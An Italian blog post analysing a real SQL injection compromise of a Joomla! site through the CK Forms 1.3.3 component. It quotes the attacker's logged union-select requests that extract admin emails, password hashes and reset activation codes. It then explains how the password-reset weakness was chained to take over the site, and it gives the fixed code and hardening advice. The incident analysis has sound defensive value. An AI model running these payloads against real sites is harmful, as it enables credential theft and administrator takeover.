Sql Injection su un sito Joomla!
Attacco hacker sql injection al sito Joomla!
Alcuni giorni fa sono intervenuto per ripristinare un sito che aveva subito le attenzioni non gradite di un hacker. Una rapida occhiata ai log del sito ed ecco individuato un bell'attacco di tipo sql injection. Un attacco di tipo sql injection sfrutta lo scarso controllo effettuato dal sito sui dati ricevuti in input per inserire codice all'interno di una query. Vediamo ora come l'hacker è riuscito a prendere il controllo del server.
I presupposti per l'attacco al sito
Come detto questo tipo di attacco sfrutta lo scarso controllo sui dati, pertanto è necessario trovare un componente che sia vulnerabile. Nel caso specifico la porta di ingresso è stata CK Forms v 1.3.3, si è poi sfruttata una leggerezza nella progettazione del meccanismo di reset delle password di Joomla! presente nelle versioni precedenti alla 1.5.16.
Perché l'attacco sia possibile è poi necessario che CK Forms abbia almeno una form pubblicata con attivato il salvataggio dei dati su DB.
L'hack del sito
All'analisi dei file di log del sito salta subito all'occhio questa request:
GET index2.php? option=com_ckforms &controller=ckdata &view=ckformsdata &layout=detail &task=detail
&fid=2+union+select+1,2,3,concat_ws%280x3a,email,username,password%29, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19 +from+jos_users+where+gid =25--
HTTP/1.1
Nota: per questioni di leggibilità ed impaginazione ho aggiunto degli spazi nelle request.
La prima parte dell'url ci permette di individuare molto rapidamente il componente e la parte dello stesso in cui vi è il codice vulnerabile
option=com_ckforms
controller=ckdata
view=ckformsdata
layout=detail
task=detail
Si trova in \components\com_ckforms\models\ckformsdata.php all'interno del metodo getDatafields4detail()
$query = ' SELECT * from #__ckfields c where c.fid='.JRequest::getVar('fid', '-1')." and (c.frontdisplay is null or c.frontdisplay = '1') ";
la composizione della query recupera il valore di fid dall'url, ma non effettua alcun controllo sul valore stesso, e così la query diventa:
SELECT * from jos_ckfields c where c.fid=2 union select 1,2,3, concat_ws(0x3a,email,username,password), 5 , 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19 from jos_users where gid=25-- and (c.frontdisplay is null or c.frontdisplay = '1')
I dati ottenuti dalla query sono poi inviati alla view che provvede a stamparli; dato che questa view stampa tutti i dati che riceve senza alcuna preformattazione si ottiene il seguente output (ovviamente ho mascherato nomi e mails):
Nome :
Cognome :
Azienda :
[...]
Ricerche di Mercato :
u1[@]example.com:admin:4600f76678a2d920723c4d9300f056de:rDrBLPBy2SdwLo9COIL26psqcfJvk7Ai :
u2[@]example.com:erika:deb209f3e843409f270d56fbbcd57c31:GFhvzuQbvuWpWDXv7QR2DdAfXlqyR1zI :
L'hacker, a questo punto, ha ottenuto la lista dei nomi utenti, con le relative mail, di tutti i 'Super Adiministrator' del sito e può sfruttare una 'debolezza' di Joomla per ottenere il reset della password. Torniamo al file di log ed infatti, poche righe più sotto, troviamo:
GET /index.php?option=com_user&view=reset HTTP/1.1
È stata richiamata la pagina di reset della password. l'hacker inserisce ora una delle mail ottenute dalla precedente sql injection ed invia la seconda richiesta:
GET /index2.php? option=com_ckforms &controller=ckdata &view=ckformsdata &layout=detail &task=detail &fid=2+union+select+1, 2, 3, concat_ws(0x3a,email,activation,password), 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19 +from+jos_users+where+gid = 25--
HTTP/1.1
ed ecco il risultato stampato a video
Nome :
Cognome :
Azienda :
[...]
Ricerche di Mercato :
u1[@]example.com:e71e8c7cbc88bf49d1066d1e41e92729:4600f76678a2d920723c4d9300f056de:rDrBLPBy2SdwLo9COIL26psqcfJvk7Ai :
u2[@]example.com::deb209f3e843409f270d56fbbcd57c31:GFhvzuQbvuWpWDXv7QR2DdAfXlqyR1zI :
con in bella vista email e codice segreto di attivazione. ora basta inserire il codice di attivazione all'interno della form per il reset e procedere ad inserire la nuova password. A questo punto l'hacker ha conquistato l'accesso all'amministrazione del sito.
Allo sfortunato amministratore arriva la mail che lo informa di aver richiesto il cambio della password quando ormai l'hacker ha avuto il tempo di disabilitare tutte le altre password.
Come si sarebbe dovuto scrivere il codice
Sarebbe bastato davvero poco a scrivere del codice sicuro, quanto visto sopra diviene:
$query = ' SELECT * from #__ckfields c where c.fid='.JRequest::getVar('fid', '-1', 'GET', 'INT')." and (c.frontdisplay is null or c.frontdisplay = '1') ";
e questo sarebbe stato il risultato del tentativo di hack:
SELECT * from #__ckfields c where c.fid=2 and (c.frontdisplay is null or c.frontdisplay = '1')
ovvero non avrebbe avuto alcun effetto.
Come rendere sicuro il sito
Tenere aggiornato il sito
Nel caso specifico bisogna dire che tanto Joomla che CK Forms non erano aggiornati. si trattava, in ambo i casi, della penultima versione ma tanto è bastato perché un hacker si impossessasse del sito. Pertanto la prima regola è: mantenete aggiornato il sito.
Non fidarsi mai delle impostazioni di default per il sito
Si vede poi che l'attacco è volto espressamente a leggere la tabella jos_users; la seconda regola è: non usate mai il prefisso di default jos_ nell'installazione di un sito Joomla!.
La sicurezza del sito non è un hobby
Tenere aggiornato il sito è necessario, ma non sempre è sufficiente. Quella di esperto di sicurezza è una professione vera e propria che richiede continua attenzione nonché studio e ricerca assidua. La vulnerabilità di Joomla! è stata eliminata il 23 Aprile 2010, ed in tale data è stato dichiarato che il team di sviluppo era a conoscenza del problema dal 7 Gennaio. Nel seguente articolo Maurizio Germani, persona che si occupa seriamente di sicurezza, descrive il problema ed una possibile soluzione: l'artico è di ottobre 2009!
Comunque se non siete esperti rivolgervi a dei professionisti, soprattutto per quanto riguarda i siti aziendali, è sempre una scelta saggia.
Saperne di più
Per chi vuole altri dettagli sugli attacchi di tipo sql injection: http://it.wikipedia.org/wiki/SQL_injection
Commenti
RSS feed dei commenti di questo post.